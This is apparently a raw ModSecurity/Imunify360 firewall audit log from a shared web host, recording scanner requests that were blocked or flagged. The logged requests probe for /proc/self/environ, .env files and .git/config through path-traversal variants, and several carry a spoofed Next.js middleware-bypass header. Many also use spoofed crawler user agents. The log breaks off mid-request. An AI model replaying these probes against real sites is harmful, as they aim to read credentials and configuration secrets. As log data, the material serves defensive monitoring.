User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--23f60f17-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--23f60f17-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "behappydigital.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqaA1mM7dE9KgIIOpQh6pQAAAM4"]
Action: Intercepted (phase 2)
Stopwatch: 1789296854045672 8537 (- - -)
Stopwatch2: 1789296854045672 8537; combined=4167, p1=862, p2=3040, p3=0, p4=0, p5=265, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--23f60f17-Z--

--d0a37672-A--
[13/Sep/2026:13:54:14.076467 +0300] aqaA1kwu1RSkptiiNIX7qQAAAIU 35.236.177.61 35484 127.0.0.1 7081
--d0a37672-B--
GET /static../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d0a37672-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d0a37672-E--

--d0a37672-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static../.env"] [unique_id "aqaA1kwu1RSkptiiNIX7qQAAAIU"]
Stopwatch: 1789296854069915 6605 (- - -)
Stopwatch2: 1789296854069915 6605; combined=5026, p1=240, p2=4651, p3=85, p4=8, p5=42, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d0a37672-Z--

--8a9d1b0d-A--
[13/Sep/2026:13:54:14.085203 +0300] aqaA1mM7dE9KgIIOpQh6pgAAAMY 35.236.177.61 35492 127.0.0.1 7081
--8a9d1b0d-B--
GET /_nuxt/../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8a9d1b0d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8a9d1b0d-E--

--8a9d1b0d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6pgAAAMY"]
Stopwatch: 1789296854079434 5853 (- - -)
Stopwatch2: 1789296854079434 5853; combined=4307, p1=326, p2=3860, p3=64, p4=7, p5=50, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8a9d1b0d-Z--

--944fbb42-A--
[13/Sep/2026:13:54:14.229465 +0300] aqaA1mM7dE9KgIIOpQh6pwAAANg 35.236.177.61 35502 127.0.0.1 7081
--944fbb42-B--
GET /media../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--944fbb42-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--944fbb42-E--

--944fbb42-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/media../.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6pwAAANg"]
Stopwatch: 1789296854223736 5786 (- - -)
Stopwatch2: 1789296854223736 5786; combined=4288, p1=247, p2=3927, p3=67, p4=7, p5=40, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--944fbb42-Z--

--cbc3f62f-A--
[13/Sep/2026:13:54:14.373237 +0300] aqaA1mM7dE9KgIIOpQh6qAAAANA 35.236.177.61 35504 127.0.0.1 7081
--cbc3f62f-B--
GET /files../.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--cbc3f62f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--cbc3f62f-E--

--cbc3f62f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/files../.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qAAAANA"]
Stopwatch: 1789296854366713 6621 (- - -)
Stopwatch2: 1789296854366713 6621; combined=4900, p1=260, p2=4492, p3=90, p4=9, p5=49, sr=113, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cbc3f62f-Z--

--d0eb6a05-A--
[13/Sep/2026:13:54:14.450014 +0300] aqaA1kwu1RSkptiiNIX7qgAAAIs 35.236.177.61 35534 127.0.0.1 7081
--d0eb6a05-B--
GET /static//app/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d0eb6a05-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d0eb6a05-E--

--d0eb6a05-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static/app/.env"] [unique_id "aqaA1kwu1RSkptiiNIX7qgAAAIs"]
Stopwatch: 1789296854443704 6364 (- - -)
Stopwatch2: 1789296854443704 6364; combined=4748, p1=272, p2=4336, p3=86, p4=8, p5=46, sr=119, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d0eb6a05-Z--

--5faffa7b-A--
[13/Sep/2026:13:54:14.458063 +0300] aqaA1isVWymXUono-eRWSgAAABY 35.236.177.61 35520 127.0.0.1 7081
--5faffa7b-B--
GET /static//.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5faffa7b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5faffa7b-E--

--5faffa7b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static/.env"] [unique_id "aqaA1isVWymXUono-eRWSgAAABY"]
Stopwatch: 1789296854451086 7028 (- - -)
Stopwatch2: 1789296854451086 7028; combined=5155, p1=309, p2=4718, p3=66, p4=8, p5=54, sr=148, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5faffa7b-Z--

--08d2e674-A--
[13/Sep/2026:13:54:14.545710 +0300] aqaA1mM7dE9KgIIOpQh6qQAAAMQ 35.236.177.61 35550 127.0.0.1 7081
--08d2e674-B--
GET /.//.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--08d2e674-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--08d2e674-E--

--08d2e674-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qQAAAMQ"]
Stopwatch: 1789296854539190 6579 (- - -)
Stopwatch2: 1789296854539190 6579; combined=4935, p1=290, p2=4478, p3=68, p4=8, p5=91, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--08d2e674-Z--

--020c3434-A--
[13/Sep/2026:13:54:14.553498 +0300] aqaA1mM7dE9KgIIOpQh6qgAAANM 35.236.177.61 35558 127.0.0.1 7081
--020c3434-B--
GET /static//home/user/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--020c3434-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--020c3434-E--

--020c3434-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/static/home/user/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qgAAANM"]
Stopwatch: 1789296854545155 8396 (- - -)
Stopwatch2: 1789296854545155 8396; combined=6823, p1=295, p2=6399, p3=73, p4=7, p5=48, sr=118, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--020c3434-Z--

--6762402e-A--
[13/Sep/2026:13:54:14.561816 +0300] aqaA1mM7dE9KgIIOpQh6qwAAAMo 35.236.177.61 35574 127.0.0.1 7081
--6762402e-B--
GET //.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6762402e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6762402e-E--

--6762402e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA1mM7dE9KgIIOpQh6qwAAAMo"]
Stopwatch: 1789296854555453 6439 (- - -)
Stopwatch2: 1789296854555453 6439; combined=4714, p1=283, p2=4245, p3=113, p4=8, p5=65, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6762402e-Z--

--aa49d31b-A--
[13/Sep/2026:14:04:13.706275 +0300] aqaDLTTJ6xTvcJoem7f8jQAAAFg 23.94.77.59 48240 127.0.0.1 7081
--aa49d31b-B--
GET /american-humane-association/ HTTP/1.1
Host: ajutam.ro
X-Real-IP: 23.94.77.59
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: http://ajutam.ro/american-humane-association/

--aa49d31b-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html

--aa49d31b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:14-04.23.94.77.59"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789297453673722 32617 (- - -)
Stopwatch2: 1789297453673722 32617; combined=30157, p1=252, p2=29511, p3=0, p4=0, p5=393, sr=113, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa49d31b-Z--

--3b143b25-A--
[13/Sep/2026:14:04:16.185862 +0300] aqaDMEwu1RSkptiiNIX75gAAAJc 196.242.89.132 39938 127.0.0.1 7081
--3b143b25-B--
GET /american-humane-association/ HTTP/1.1
Host: ajutam.ro
X-Real-IP: 196.242.89.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br

--3b143b25-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html

--3b143b25-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:14-04.196.242.89.132"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789297456153656 32298 (- - -)
Stopwatch2: 1789297456153656 32298; combined=30714, p1=262, p2=30167, p3=0, p4=0, p5=284, sr=100, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3b143b25-Z--

--9f514a44-A--
[13/Sep/2026:14:04:18.439178 +0300] aqaDMjTJ6xTvcJoem7f8kAAAAEc 198.46.159.24 39946 127.0.0.1 7081
--9f514a44-B--
GET /american-humane-association/ HTTP/1.1
Host: ajutam.ro
X-Real-IP: 198.46.159.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br

--9f514a44-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 01 May 2020 21:00:27 GMT
ETag: "31b-5a49c787f10c0"
Accept-Ranges: bytes
Content-Length: 795
Content-Type: text/html

--9f514a44-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:14-04.198.46.159.24"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789297458408485 30845 (- - -)
Stopwatch2: 1789297458408485 30845; combined=29012, p1=244, p2=28202, p3=0, p4=0, p5=566, sr=110, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9f514a44-Z--

--aa736909-A--
[13/Sep/2026:14:07:51.730487 +0300] aqaEB2M7dE9KgIIOpQh7XAAAAMQ 216.126.237.47 41882 127.0.0.1 7081
--aa736909-B--
GET /.git/config HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 216.126.237.47
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--aa736909-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--aa736909-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqaEB2M7dE9KgIIOpQh7XAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqaEB2M7dE9KgIIOpQh7XAAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/.git/config"] [unique_id "aqaEB2M7dE9KgIIOpQh7XAAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789297671609426 121110 (- - -)
Stopwatch2: 1789297671609426 121110; combined=34403, p1=345, p2=33982, p3=0, p4=0, p5=76, sr=189, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa736909-Z--

--b0d64d69-A--
[13/Sep/2026:14:12:03.338747 +0300] aqaFA2M7dE9KgIIOpQh7iAAAANM 34.74.125.177 46540 127.0.0.1 7081
--b0d64d69-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 34.74.125.177
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=sbuczim7SUadznfadqiYBzIyOTllN2U0MjI5M2VhMWY2NzdlOTBmODcxMTIwYWE1YTliYWZiNDA%3D
